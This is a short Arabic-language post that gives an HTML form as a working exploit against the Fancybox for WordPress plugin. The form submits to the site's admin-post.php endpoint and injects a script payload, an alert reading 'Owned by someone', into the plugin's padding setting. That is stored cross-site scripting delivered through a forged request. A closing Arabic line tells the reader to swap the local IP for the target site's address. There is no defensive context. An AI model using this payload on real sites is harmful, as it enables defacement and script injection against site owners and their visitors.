كود HTML:
<form method="POST" action="http://127.0.0.1/wp-admin/admin-post.php?page=fancybox-for-wordpress">
<input type="text" name="action" value="update">
<input type="text" name="mfbfw[padding]" value="</استبدال script><استبدال script>alert(/Owned by someone/)</استبدال script>">
<input type="submit" value="Send">
</form>
نقوم بتغيير الايبي الى رابط الموقع المصاب